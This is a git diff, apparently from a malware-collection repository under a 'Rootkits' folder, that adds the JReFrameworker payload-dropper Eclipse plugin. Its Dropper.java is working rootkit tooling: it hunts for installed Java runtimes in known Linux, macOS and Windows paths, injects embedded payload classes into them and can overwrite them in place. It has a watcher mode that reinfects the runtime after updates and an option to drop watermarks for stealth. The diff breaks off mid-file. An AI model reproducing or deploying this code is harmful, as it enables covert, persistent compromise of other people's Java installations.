+org.eclipse.jdt.core.compiler.compliance=1.8
+org.eclipse.jdt.core.compiler.problem.assertIdentifier=error
+org.eclipse.jdt.core.compiler.problem.enumIdentifier=error
+org.eclipse.jdt.core.compiler.source=1.8
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/LICENSE b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/LICENSE
new file mode 100644
index 0000000..1bc4422
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/LICENSE
@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2017 Ben Holland
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/META-INF/MANIFEST.MF b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/META-INF/MANIFEST.MF
new file mode 100644
index 0000000..c478d30
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/META-INF/MANIFEST.MF
@@ -0,0 +1,11 @@
+Manifest-Version: 1.0
+Bundle-ManifestVersion: 2
+Bundle-Name: JReFrameworker Payload Dropper
+Bundle-SymbolicName: com.jreframeworker.dropper;singleton:=true
+Bundle-Version: 1.3.1.qualifier
+Bundle-Activator: com.jreframeworker.dropper.Activator
+Require-Bundle: com.jreframeworker;bundle-version="1.3.1"
+Bundle-RequiredExecutionEnvironment: JavaSE-1.8
+Bundle-ActivationPolicy: lazy
+Bundle-ClassPath: .
+Automatic-Module-Name: com.jreframeworker.dropper
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/build.properties b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/build.properties
new file mode 100644
index 0000000..5577073
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/build.properties
@@ -0,0 +1,6 @@
+source.. = src/
+output.. = bin/
+bin.includes = plugin.xml,\
+ META-INF/,\
+ export/,\
+ .
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/export/dropper.jar b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/export/dropper.jar
new file mode 100644
index 0000000..ec4ae20
Binary files /dev/null and b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/export/dropper.jar differ
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/icons/JReFrameworker.gif b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/icons/JReFrameworker.gif
new file mode 100644
index 0000000..64432f8
Binary files /dev/null and b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/icons/JReFrameworker.gif differ
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/plugin.xml b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/plugin.xml
new file mode 100644
index 0000000..39d83d3
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/plugin.xml
@@ -0,0 +1,24 @@
+
+
+
+
+
+
+
+
+
+
+ Exports a JReFrameworker runtime payload dropper for the selected project.
+
+
+
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/Activator.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/Activator.java
new file mode 100644
index 0000000..c538c8e
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/Activator.java
@@ -0,0 +1,50 @@
+package com.jreframeworker.dropper;
+
+import org.eclipse.ui.plugin.AbstractUIPlugin;
+import org.osgi.framework.BundleContext;
+
+/**
+ * The activator class controls the plug-in life cycle
+ */
+public class Activator extends AbstractUIPlugin {
+
+ // The plug-in ID
+ public static final String PLUGIN_ID = "com.jreframeworker.dropper"; //$NON-NLS-1$
+
+ // The shared instance
+ private static Activator plugin;
+
+ /**
+ * The constructor
+ */
+ public Activator() {
+ }
+
+ /*
+ * (non-Javadoc)
+ * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext)
+ */
+ public void start(BundleContext context) throws Exception {
+ super.start(context);
+ plugin = this;
+ }
+
+ /*
+ * (non-Javadoc)
+ * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext)
+ */
+ public void stop(BundleContext context) throws Exception {
+ plugin = null;
+ super.stop(context);
+ }
+
+ /**
+ * Returns the shared instance
+ *
+ * @return the shared instance
+ */
+ public static Activator getDefault() {
+ return plugin;
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/Dropper.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/Dropper.java
new file mode 100644
index 0000000..daf901e
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/Dropper.java
@@ -0,0 +1,724 @@
+package com.jreframeworker.dropper;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.RandomAccessFile;
+import java.io.StringReader;
+import java.io.StringWriter;
+import java.nio.channels.FileChannel;
+import java.nio.channels.FileLock;
+import java.nio.channels.OverlappingFileLockException;
+import java.nio.file.Files;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Scanner;
+import java.util.Set;
+import java.util.jar.JarException;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+import javax.xml.parsers.ParserConfigurationException;
+import javax.xml.transform.OutputKeys;
+import javax.xml.transform.Transformer;
+import javax.xml.transform.TransformerException;
+import javax.xml.transform.TransformerFactory;
+import javax.xml.transform.dom.DOMSource;
+import javax.xml.transform.stream.StreamResult;
+
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+import org.w3c.dom.NamedNodeMap;
+import org.w3c.dom.Node;
+import org.w3c.dom.NodeList;
+import org.xml.sax.InputSource;
+import org.xml.sax.SAXException;
+
+import com.jreframeworker.engine.Engine;
+import com.jreframeworker.engine.utils.JarModifier;
+
+public class Dropper {
+
+ // jar contents
+ public static final String CONFIG_FILE = "config.xml";
+ public static final String PAYLOAD_DIRECTORY = "payloads";
+ public static final String WATERMARK = "jref";
+
+ // configuration keys
+ public static final String MERGE_RENAME_PREFIX = "merge-rename-prefix";
+
+ public static final String[] JVM_LOCATIONS = {
+ // Linux
+ "/usr/java/",
+ "/usr/lib/jvm/",
+ // OSX
+ "/Library/Java/",
+ "/System/Library/Frameworks/JavaVM.framework/",
+ "/usr/libexec/java_home/",
+ // Windows
+ "C:\\Program Files\\Java\\",
+ "C:\\Program Files (x86)\\Java\\",
+ "C:\\Windows\\System32\\Java\\",
+ "C:\\Windows\\SysWOW64\\Java\\"
+ };
+
+ private static final String VERSION_LONG_ARGUMENT = "--version";
+ private static final String VERSION_SHORT_ARGUMENT = "-v";
+ private static final String VERSION_DESCRIPTION = "1.3.1";
+
+ private static final String ENFORCE_SINGLE_INSTANCE_LONG_ARGUMENT = "--single-instance";
+ private static final String ENFORCE_SINGLE_INSTANCE_SHORT_ARGUMENT = "-si";
+ private static final String ENFORCE_SINGLE_INSTANCE_DESCRIPTION = " This flag enforces (using a file lock) that only a single instance of the dropper may execute at one time.";
+ private static boolean singleInstance = false;
+
+ private static final String SAFETY_OFF_LONG_ARGUMENT = "--safety-off";
+ private static final String SAFETY_OFF_SHORT_ARGUMENT = "-so";
+ private static final String SAFETY_OFF_DESCRIPTION = " This flag must be specified to execute the modifications specified by embedded payloads (enabling the flag disables the built-in safety).";
+ private static boolean safetyOff = false;
+
+ private static final String OUTPUT_DIRECTORY_LONG_ARGUMENT = "--output-directory";
+ private static final String OUTPUT_DIRECTORY_SHORT_ARGUMENT = "-o";
+ private static final String OUTPUT_DIRECTORY_DESCRIPTION = " Specifies the output directory to save modified runtimes, if not specified output files will be written as temporary files.";
+ private static File outputDirectory = null;
+
+ private static final String REPLACE_TARGET_LONG_ARGUMENT = "--replace-target";
+ private static final String REPLACE_TARGET_SHORT_ARGUMENT = "-r";
+ private static final String REPLACE_TARGET_DESCRIPTION = " Attempt to replace target with modified target.";
+ private static boolean replaceTarget = false;
+
+ private static final String PRINT_TARGETS_LONG_ARGUMENT = "--print-targets";
+ private static final String PRINT_TARGETS_SHORT_ARGUMENT = "-pt";
+ private static final String PRINT_TARGETS_DESCRIPTION = " Prints the targets of the dropper and exits.";
+ private static boolean printTargets = false;
+
+ private static final String PRINT_PAYLOADS_LONG_ARGUMENT = "--print-payloads";
+ private static final String PRINT_PAYLOADS_SHORT_ARGUMENT = "-pp";
+ private static final String PRINT_PAYLOADS_DESCRIPTION = " Prints the payloads of the dropper and exits.";
+ private static boolean printPayloads = false;
+
+ private static final String SEARCH_DIRECTORIES_LONG_ARGUMENT = "--search-directories";
+ private static final String SEARCH_DIRECTORIES_SHORT_ARGUMENT = "-s";
+ private static final String SEARCH_DIRECTORIES_DESCRIPTION = " Specifies a comma separated list of directory paths to search for targets, if not specified a default set of search directories will be used.";
+
+ private static final String PRINT_WATERMARKED_LONG_ARGUMENT = "--print-watermarked";
+ private static final String PRINT_WATERMARKED_SHORT_ARGUMENT = "-pw";
+ private static final String PRINT_WATERMARKED_DESCRIPTION = " Prints watermarked targets found on search paths.";
+ private static boolean printWatermarked = false;
+
+ private static boolean watermark = true;
+ private static final String DISABLE_WATERMARK_LONG_ARGUMENT = "--disable-watermarking";
+ private static final String DISABLE_WATERMARK_SHORT_ARGUMENT = "-dw";
+ private static final String DISABLE_WATERMARK_DESCRIPTION = " Disables watermarking the modified target (can be used for additional stealth, but could also cause problems for watchers). Watermarks are used to prevent remodifying a target.";
+
+ private static boolean ignoreWatermarks = false;
+ private static final String IGNORE_WATERMARK_LONG_ARGUMENT = "--ignore-watermarks";
+ private static final String IGNORE_WATERMARK_SHORT_ARGUMENT = "-iw";
+ private static final String IGNORE_WATERMARK_DESCRIPTION = " Ignores watermarks and modifies targets regardless of whether or not they have been previously modified.";
+
+ private static final String WATCHER_SLEEP_TIME_LONG_ARGUMENT = "--watcher-sleep";
+ private static final String WATCHER_SLEEP_TIME_SHORT_ARGUMENT = "-ws";
+ private static final String WATCHER_SLEEP_TIME_DESCRIPTION = " The amount of time in milliseconds to sleep between watcher checks.";
+ private static long watcherSleepTime = (long) (1000 * 60); // 1 minute
+
+ private static boolean watcher = false;
+ private static final String WATCHER_LONG_ARGUMENT = "--watcher";
+ private static final String WATCHER_SHORT_ARGUMENT = "-w";
+ private static final String WATCHER_DESCRIPTION = " Enables a watcher process that waits to modify any discovered runtimes until the file hash of the runtime has changed (by default the process sleeps for 1 minute, unless the " + WATCHER_SLEEP_TIME_LONG_ARGUMENT + " argument is specified).";
+
+ private static final String DEBUG_LONG_ARGUMENT = "--debug";
+ private static final String DEBUG_SHORT_ARGUMENT = "-d";
+ private static final String DEBUG_DESCRIPTION = " Prints debug information.";
+ private static boolean debug = false;
+
+ private static final String HELP_LONG_ARGUMENT = "--help";
+ private static final String HELP_SHORT_ARGUMENT = "-h";
+ private static final String HELP_DESCRIPTION = "Usage: java -jar dropper.jar [options]\n"
+ + HELP_LONG_ARGUMENT + ", " + HELP_SHORT_ARGUMENT + " Prints this menu and exits.\n"
+ + SAFETY_OFF_LONG_ARGUMENT + ", " + SAFETY_OFF_SHORT_ARGUMENT + SAFETY_OFF_DESCRIPTION + "\n"
+ + SEARCH_DIRECTORIES_LONG_ARGUMENT + ", " + SEARCH_DIRECTORIES_SHORT_ARGUMENT + SEARCH_DIRECTORIES_DESCRIPTION + "\n"
+ + OUTPUT_DIRECTORY_LONG_ARGUMENT + ", " + OUTPUT_DIRECTORY_SHORT_ARGUMENT + OUTPUT_DIRECTORY_DESCRIPTION + "\n"
+ + REPLACE_TARGET_LONG_ARGUMENT + ", " + REPLACE_TARGET_SHORT_ARGUMENT + REPLACE_TARGET_DESCRIPTION + "\n"
+ + DISABLE_WATERMARK_LONG_ARGUMENT + ", " + DISABLE_WATERMARK_SHORT_ARGUMENT + DISABLE_WATERMARK_DESCRIPTION + "\n"
+ + IGNORE_WATERMARK_LONG_ARGUMENT + ", " + IGNORE_WATERMARK_SHORT_ARGUMENT + IGNORE_WATERMARK_DESCRIPTION + "\n"
+ + ENFORCE_SINGLE_INSTANCE_LONG_ARGUMENT + ", " + ENFORCE_SINGLE_INSTANCE_SHORT_ARGUMENT + ENFORCE_SINGLE_INSTANCE_DESCRIPTION + "\n"
+ + WATCHER_LONG_ARGUMENT + ", " + WATCHER_SHORT_ARGUMENT + WATCHER_DESCRIPTION + "\n"
+ + WATCHER_SLEEP_TIME_LONG_ARGUMENT + ", " + WATCHER_SLEEP_TIME_SHORT_ARGUMENT + WATCHER_SLEEP_TIME_DESCRIPTION + "\n"
+ + PRINT_WATERMARKED_LONG_ARGUMENT + ", " + PRINT_WATERMARKED_SHORT_ARGUMENT + PRINT_WATERMARKED_DESCRIPTION + "\n"
+ + PRINT_TARGETS_LONG_ARGUMENT + ", " + PRINT_TARGETS_SHORT_ARGUMENT + PRINT_TARGETS_DESCRIPTION + "\n"
+ + PRINT_PAYLOADS_LONG_ARGUMENT + ", " + PRINT_PAYLOADS_SHORT_ARGUMENT + PRINT_PAYLOADS_DESCRIPTION + "\n"
+ + DEBUG_LONG_ARGUMENT + ", " + DEBUG_SHORT_ARGUMENT + DEBUG_DESCRIPTION + "\n"
+ + VERSION_LONG_ARGUMENT + ", " + VERSION_SHORT_ARGUMENT + " Prints the version of the dropper and exists.";
+
+ public static void main(String[] args){
+
+ if(args.length == 0){
+ System.out.println(HELP_DESCRIPTION);
+ System.exit(0);
+ }
+
+ String[] searchPaths = null;
+ for(int i=0; i classFiles = new ArrayList(configuration.payloadClassNames);
+ byte[][] payloads = new byte[classFiles.size()][];
+ for(int i=0; i targetsToIgnore = new HashSet();
+ for(File target : getTargets(searchPaths, configuration)){
+
+ if(!ignoreWatermarks){
+ try {
+ if(new JarModifier(target).getJarEntrySet().contains(WATERMARK)){
+ if(debug){
+ System.out.println("Ignoring watermarked target: " + target.getAbsolutePath());
+ }
+ continue;
+ }
+ } catch (Exception e){
+ // couldn't read target entries
+ }
+ }
+
+ if(debug){
+ System.out.println("Discovered target: " + target.getAbsolutePath());
+ }
+ if(safetyOff){
+ if(watcher){
+ try {
+ targetsToIgnore.add(sha256(target));
+ } catch (Exception e) {
+ // skipping runtime
+ }
+ } else {
+ modifyTarget(configuration, payloads, target, watermark, replaceTarget);
+ }
+ }
+ }
+
+ if (safetyOff && watcher) {
+ boolean searching = true;
+ while (searching) {
+ try {
+ if(debug){
+ System.out.println("Sleeping: " + watcherSleepTime + "ms");
+ }
+
+ // sleep
+ Thread.sleep(watcherSleepTime);
+
+ // search for new targets
+ for (File target : getTargets(searchPaths, configuration)) {
+ try {
+ if(!ignoreWatermarks){
+ try {
+ if(new JarModifier(target).getJarEntrySet().contains(WATERMARK)){
+ continue;
+ }
+ } catch (Exception e){
+ // couldn't read target entries
+ }
+ }
+
+ if (!targetsToIgnore.contains(sha256(target))) {
+ if (debug) {
+ System.out.println("Discovered target: " + target.getAbsolutePath());
+ }
+
+ searching = false;
+ modifyTarget(configuration, payloads, target, watermark, replaceTarget);
+ }
+ } catch (Exception e) {
+ // skipping runtime
+ }
+ }
+ } catch (InterruptedException ie) {
+ // couldn't sleep, try again
+ }
+ }
+ }
+
+ if(debug) System.out.println("Finished.");
+ }
+
+ private static void modifyTarget(Configuration configuration, byte[][] payloads, File runtime, boolean watermark, boolean replaceTarget) {
+ try {
+ File outputRuntime = outputDirectory == null ? File.createTempFile(runtime.getName(), ".jar") : getOutputRuntimeFile(runtime, outputDirectory);
+ if(replaceTarget){
+ outputRuntime = runtime;
+ }
+ modifyTarget(runtime, configuration.configurations.get(MERGE_RENAME_PREFIX).toString(), outputRuntime, watermark, payloads);
+ System.out.println("\nOriginal Runtime: " + runtime.getAbsolutePath() + "\n" + "Modified Runtime: " + outputRuntime.getAbsolutePath());
+ } catch (Exception e) {
+ if(debug) System.err.println("Could not modify runtime: " + runtime.getAbsolutePath());
+ if(debug) e.printStackTrace();
+ }
+ }
+
+ private static File getOutputRuntimeFile(File runtime, File outputDirectory) {
+ File outputRuntime = new File(outputDirectory.getAbsolutePath() + File.separatorChar + runtime.getName());
+ int num = 2;
+ while(outputRuntime.exists()){
+ outputRuntime = new File(outputDirectory.getAbsolutePath() + File.separatorChar + runtime.getName().replace(".jar", "_") + num++ + ".jar");
+ }
+ return outputRuntime;
+ }
+
+ private static byte[] getBytes(InputStream is) throws IOException {
+ int len;
+ int size = 1024;
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
+ byte[] buffer = new byte[size];
+ while ((len = is.read(buffer, 0, size)) != -1) {
+ bos.write(buffer, 0, len);
+ }
+ return bos.toByteArray();
+ }
+
+ private static LinkedList getTargets(String[] searchPaths, Configuration configuration){
+ HashSet targetNames = new HashSet();
+ targetNames.addAll(configuration.runtimes);
+ targetNames.addAll(configuration.libraries);
+ LinkedList targets = new LinkedList();
+
+ // establish a set of directories to search for runtimes
+ LinkedList searchDirectories = new LinkedList();
+
+ if(searchPaths != null){
+ if(debug) System.out.println("Searching: " + Arrays.toString(searchPaths));
+ // look for specified jvm locations
+ for(String path : searchPaths){
+ File location = new File(path);
+ if(location.exists()){
+ searchDirectories.add(location);
+ }
+ }
+ } else {
+ // look for known jvm locations
+ if(debug) System.out.println("Searching: " + Arrays.toString(JVM_LOCATIONS));
+ for(String path : JVM_LOCATIONS){
+ File location = new File(path);
+ if(location.exists()){
+ searchDirectories.add(location);
+ }
+ }
+ }
+
+ // search each directory for runtimes
+ for(File searchDirectory : searchDirectories){
+ targets.addAll(search(searchDirectory, targetNames));
+ }
+
+ // Note: removed this functionality, as it is way to expensive...not very stealthy
+// // unknown location, expand search to entire file system
+// if(runtimes.isEmpty()){
+// for(File rootDirectory : File.listRoots()){
+// runtimes.addAll(search(rootDirectory, runtimeNames));
+// }
+// }
+
+ return targets;
+ }
+
+ private static LinkedList search(File directory, HashSet fileNames){
+ LinkedList results = new LinkedList();
+ search(directory, fileNames, results);
+ return results;
+ }
+
+ private static void search(File directory, HashSet fileNames, LinkedList results) {
+ File[] files = directory.listFiles();
+ if(files != null){
+ for(File file : files) {
+ if(file.isDirectory()) {
+ search(file, fileNames, results);
+ } else if(fileNames.contains(file.getName())) {
+ results.add(file);
+ }
+ }
+ }
+ }
+
+ // TODO: Consider accepting and writing to an output stream instead of a File so that we could generically write to a file, memory, stdout, etc.
+ // TODO: need to consider alternate class loaders
+ private static void modifyTarget(File originalRuntime, String mergeRenamePrefix, File outputRuntime, boolean watermark, byte[]... classFiles) throws JarException, IOException {
+ Engine engine = new Engine(originalRuntime, mergeRenamePrefix);
+ for(byte[] classFile : classFiles){
+ engine.process(classFile);
+ }
+ if(watermark){
+ engine.addFile(WATERMARK, WATERMARK.getBytes(), true);
+ }
+ engine.save(outputRuntime);
+ }
+
+ public static class Configuration {
+
+ public static final String CONFIGURATIONS = "configurations";
+ public static final String CONFIGURATION = "configuration";
+ public static final String TARGETS = "targets";
+ public static final String TARGET = "target";
+ public static final String RUNTIME = "runtime";
+ public static final String PAYLOAD_CLASSES = "payload-classes";
+ public static final String PAYLOAD_CLASS = "payload-class";
+ public static final String NAME = "name";
+
+ public Map configurations = new HashMap();
+ public Set payloadClassNames = new HashSet();
+ public Set runtimes = new HashSet();
+ public Set libraries = new HashSet();
+
+ @Override
+ public String toString() {
+ return "Configuration [configurations=" + configurations + ", payloadClasses=" + payloadClassNames
+ + ", runtimes=" + runtimes + ", libraries=" + libraries + "]";
+ }
+
+ public Configuration(){}
+
+ public Configuration(String xml) throws ParserConfigurationException, SAXException, IOException {
+ DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
+ DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();
+ InputSource inputStream = new InputSource(new StringReader(xml));
+ Document doc = dBuilder.parse(inputStream);
+ doc.getDocumentElement().normalize();
+ NodeList targets = doc.getElementsByTagName(TARGET);
+ for (int i = 0; i < targets.getLength(); i++) {
+ Element target = (Element) targets.item(i);
+ String name = target.getAttribute(NAME);
+ Boolean runtime = false;
+ if(target.hasAttribute(RUNTIME)){
+ runtime = Boolean.parseBoolean(target.getAttribute(RUNTIME));
+ }
+ if(runtime){
+ runtimes.add(name);
+ } else {
+ libraries.add(name);
+ }
+ }
+ NodeList classes = doc.getElementsByTagName(PAYLOAD_CLASS);
+ for (int i = 0; i < classes.getLength(); i++) {
+ Element clazz = (Element) classes.item(i);
+ String name = clazz.getAttribute(NAME);
+ this.payloadClassNames.add(name);
+ }
+ NodeList configurations = doc.getElementsByTagName(CONFIGURATION);
+ for (int i = 0; i < configurations.getLength(); i++) {
+ Element configuration = (Element) configurations.item(i);
+ NamedNodeMap attributes = configuration.getAttributes();
+ for (int j = 0; j < attributes.getLength(); j++){
+ Node attribute = attributes.item(i);
+ this.configurations.put(attribute.getNodeName(), attribute.getNodeValue());
+ }
+ }
+ }
+
+ public String getXML() throws ParserConfigurationException, TransformerException {
+ // create xml document
+ DocumentBuilderFactory docFactory = DocumentBuilderFactory.newInstance();
+ DocumentBuilder docBuilder = docFactory.newDocumentBuilder();
+
+ // add root element
+ Document doc = docBuilder.newDocument();
+ Element rootElement = doc.createElement("payload");
+ doc.appendChild(rootElement);
+
+ // record general modification configurations
+ Element configurationsElement = doc.createElement(CONFIGURATIONS);
+ for(Entry entry : configurations.entrySet()){
+ Element configurationElement = doc.createElement(CONFIGURATION);
+ configurationElement.setAttribute(entry.getKey(), entry.getValue());
+ configurationsElement.appendChild(configurationElement);
+ }
+ rootElement.appendChild(configurationsElement);
+
+ // record targets to modify
+ Element targetsElement = doc.createElement(TARGETS);
+
+ // add each runtime target to the configuration
+ for(String target : runtimes){
+ Element targetElement = doc.createElement(TARGET);
+ targetElement.setAttribute(NAME, target);
+ targetElement.setAttribute(RUNTIME, "true");
+ targetsElement.appendChild(targetElement);
+ }
+
+ // add each library target to the configuration
+ for(String target : libraries){
+ Element targetElement = doc.createElement(TARGET);
+ targetElement.setAttribute(NAME, target);
+ targetElement.setAttribute(RUNTIME, "false");
+ targetsElement.appendChild(targetElement);
+ }
+ rootElement.appendChild(targetsElement);
+
+ // add each payload class name to the configuration
+ Element classesElement = doc.createElement(PAYLOAD_CLASSES);
+ for(String clazz : payloadClassNames){
+ Element classElement = doc.createElement(PAYLOAD_CLASS);
+ classElement.setAttribute(NAME, clazz);
+ classesElement.appendChild(classElement);
+ }
+ rootElement.appendChild(classesElement);
+
+ // write xml to string result
+ TransformerFactory transformerFactory = TransformerFactory.newInstance();
+ Transformer transformer = transformerFactory.newTransformer();
+ transformer.setOutputProperty(OutputKeys.INDENT, "yes");
+ transformer.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "2");
+ DOMSource source = new DOMSource(doc);
+ StringWriter xml = new StringWriter();
+ StreamResult result = new StreamResult(xml);
+ transformer.transform(source, result);
+ return xml.toString();
+ }
+ }
+
+ private static String sha256(File file) throws IOException, NoSuchAlgorithmException {
+ MessageDigest digest = MessageDigest.getInstance("SHA-256");
+ byte[] contents = Files.readAllBytes(file.toPath());
+ byte[] hash = digest.digest(contents);
+ StringBuilder result = new StringBuilder();
+ for (int i = 0; i < hash.length; i++) {
+ result.append(Integer.toString((hash[i] & 0xFF) + 0x100, 16).substring(1));
+ }
+ return result.toString();
+ }
+
+ public static boolean isAnotherApplicationInstanceActive(){
+ ApplicationInstanceLock instanceLock = new ApplicationInstanceLock(WATERMARK);
+ return instanceLock.isAppActive();
+ }
+
+ // adapted from http://www.rgagnon.com/javadetails/java-0288.html
+ private static class ApplicationInstanceLock {
+
+ private String appName;
+ private File file;
+ private FileChannel channel;
+ private FileLock lock;
+
+ public ApplicationInstanceLock(String appName) {
+ this.appName = appName;
+ }
+
+ @SuppressWarnings("resource")
+ public boolean isAppActive() {
+ try {
+ file = new File(System.getProperty("user.home"), appName + ".tmp");
+ channel = new RandomAccessFile(file, "rw").getChannel();
+
+ try {
+ lock = channel.tryLock();
+ } catch (OverlappingFileLockException e) {
+ // already locked
+ closeLock();
+ return true;
+ }
+
+ if (lock == null) {
+ closeLock();
+ return true;
+ }
+
+ Runtime.getRuntime().addShutdownHook(new Thread() {
+ // destroy the lock when the JVM is closing
+ public void run() {
+ closeLock();
+ deleteFile();
+ }
+ });
+ return false;
+ } catch (Exception e) {
+ closeLock();
+ return true;
+ }
+ }
+
+ private void closeLock() {
+ try {
+ lock.release();
+ channel.close();
+ } catch (Exception e) {
+ }
+ }
+
+ private void deleteFile() {
+ try {
+ file.delete();
+ } catch (Exception e) {
+ }
+ }
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/log/Log.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/log/Log.java
new file mode 100644
index 0000000..d4336e8
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/log/Log.java
@@ -0,0 +1,55 @@
+package com.jreframeworker.dropper.log;
+
+import org.eclipse.core.runtime.ILog;
+import org.eclipse.core.runtime.IStatus;
+import org.eclipse.core.runtime.Platform;
+import org.eclipse.core.runtime.Status;
+import org.osgi.framework.Bundle;
+import org.osgi.framework.BundleContext;
+
+import com.jreframeworker.dropper.Activator;
+
+/**
+ * Centralized logging for Eclipse plugins.
+ */
+public class Log {
+ private static ILog log;
+
+ static {
+ BundleContext context = Activator.getDefault().getBundle().getBundleContext();
+ if (context != null) {
+ Bundle bundle = context.getBundle();
+ log = Platform.getLog(bundle);
+ }
+ }
+
+ public static void error(String message, Throwable e) {
+ log(Status.ERROR, message, e);
+ }
+
+ public static void warning(String message) {
+ warning(message, null);
+ }
+
+ public static void warning(String message, Throwable e) {
+ log(Status.WARNING, message, e);
+ }
+
+ public static void info(String message) {
+ info(message, null);
+ }
+
+ public static void info(String message, Throwable e) {
+ log(Status.INFO, message, e);
+ }
+
+ public static void log(int severity, String string, Throwable e) {
+ if(log == null){
+ System.err.println(string + "\n" + e);
+ } else {
+ IStatus status = new Status(severity, Activator.PLUGIN_ID, string, e);
+ log.log(status);
+ }
+ }
+}
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/ui/ExportPayloadDropperPage.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/ui/ExportPayloadDropperPage.java
new file mode 100644
index 0000000..ef2b667
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/ui/ExportPayloadDropperPage.java
@@ -0,0 +1,65 @@
+package com.jreframeworker.dropper.ui;
+
+import org.eclipse.jface.wizard.WizardPage;
+import org.eclipse.swt.SWT;
+import org.eclipse.swt.events.SelectionAdapter;
+import org.eclipse.swt.events.SelectionEvent;
+import org.eclipse.swt.layout.GridData;
+import org.eclipse.swt.layout.GridLayout;
+import org.eclipse.swt.widgets.Button;
+import org.eclipse.swt.widgets.Composite;
+import org.eclipse.swt.widgets.FileDialog;
+import org.eclipse.swt.widgets.Label;
+import org.eclipse.swt.widgets.Text;
+
+public class ExportPayloadDropperPage extends WizardPage {
+ private String jarPath;
+ private Text dropperJarText;
+
+ /**
+ * @wbp.parser.constructor
+ */
+ public ExportPayloadDropperPage(String pageName) {
+ super(pageName);
+ setTitle("Create Payload Dropper");
+ }
+
+ public String getJARPath() {
+ return jarPath;
+ }
+
+ @Override
+ public void createControl(Composite parent) {
+
+ Composite container = new Composite(parent, SWT.NULL);
+ setControl(container);
+ container.setLayout(new GridLayout(3, false));
+
+ Label dropperJarLabel = new Label(container, SWT.NONE);
+ dropperJarLabel.setText("Payload Dropper Jar: ");
+
+ dropperJarText = new Text(container, SWT.BORDER);
+ dropperJarText.setEditable(false);
+ dropperJarText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1));
+
